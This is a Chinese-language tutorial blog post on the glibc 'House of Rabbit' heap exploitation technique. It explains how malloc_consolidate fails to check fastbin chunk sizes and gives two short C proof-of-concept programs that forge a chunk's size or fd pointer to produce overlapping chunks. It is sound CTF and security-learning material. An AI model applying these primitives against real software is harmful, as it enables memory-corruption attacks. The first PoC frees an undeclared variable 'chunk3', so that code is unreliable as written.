House of Rabbit

House of Rabbit

介绍:

  1. House of rabbit 是一种伪造堆块的技术,早在 2017 年已经提出,但在最近两个月才在 CTF 比赛中出现。我们一般运用在 fastbin attack 中,因为 unsorted bin 等其它的 bin 有更好的利用手段。

原理:

  1. 我们知道,fastbin 中会把相同的 size 的被释放的堆块用一个单向链表管理,分配的时候会检查 size 是否合理,如果不合理程序就会异常退出。而 house of rabbit 就利用了在 malloc consolidate 的时候 fastbin 中的堆块进行合并size 没有进行检查从而伪造一个假的堆块,为进一步的利用做准备。
  2. 利用条件:
    • 可以修改 fastbin 的 fd 指针或 size
    • 可以触发 malloc consolidate(merge top 或 malloc big chunk 等等)

POC1:

  1. modify the size of fastbin chunk:

    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    int main(void)
    {
        unsigned long* chunk1=malloc(0x40); //0x602000
        unsigned long* chunk2=malloc(0x40); //0x602050
        malloc(0x10);
        free(chunk1);
        free(chunk3);
    
        chunk1[-1]=0xa1; //modify chunk1 size to be 0xa1
        malloc(0x400);  //allocate a large chunk, trigger malloc_consolidate
        malloc(0x90); //申请到修改size后的chunk,并造成overlapping
        return 0;
    }
    
    

    调试分析:先释放掉两个chunk

    image-20240809154606416

    修改chunk1的size字段:

    image-20240809154816163

    再分配一个较大的size,触发maloc_consolidate函数 (没有堆size进行检查),将fastbin整理到small bin中,将其直接放入到small bin中,后面申请chunk时就会造成overlapping:

    image-20240809154945736

POC2

  1. modify FD pointer:

    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    int main(void)
    {
        unsigned long* chunk1=malloc(0x40); //0x602000
        unsigned long* chunk2=malloc(0x100);//0x602050
        chunk2[1]=0x31; //fake chunk size 0x30
        chunk2[7]=0x21;  //fake chunk's next chunk
        chunk2[11]=0x21;//fake chunk's next chunk's next chuck
        free(chunk1);
        chunk1[0]=0x602060;// modify the fd of chunk1
        malloc(5000);// malloc a  big chunk to trigger malloc consolidate
        return 0;	
    }
    
    
  2. 调试,修改前的堆:

    image-20240809164501958

    伪造fake_chunk,这里为什么size字段填1,可以看这篇文章伪造unsortedbin释放时 top chunk的衔接问题:这里甚至可以将fake_chunk_next的size字段给为0x11:

    image-20240809170745070

    faka_chunk_next的size字段给为0x11仍然可以通过检查:

    image-20240809171029205

    再分配一个较大的size,触发maloc_consolidate函数 (没有堆size进行检查),将fastbin整理到small bin中,将其直接放入到small bin中,后面申请chunk时就会造成overlapping:

    image-20240809170500710

总结

House of rabbit 的优点是容易构造 overlap chunk ,由于可以基于 fastbin attack,甚至不需要 leak 就可以完成攻击。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值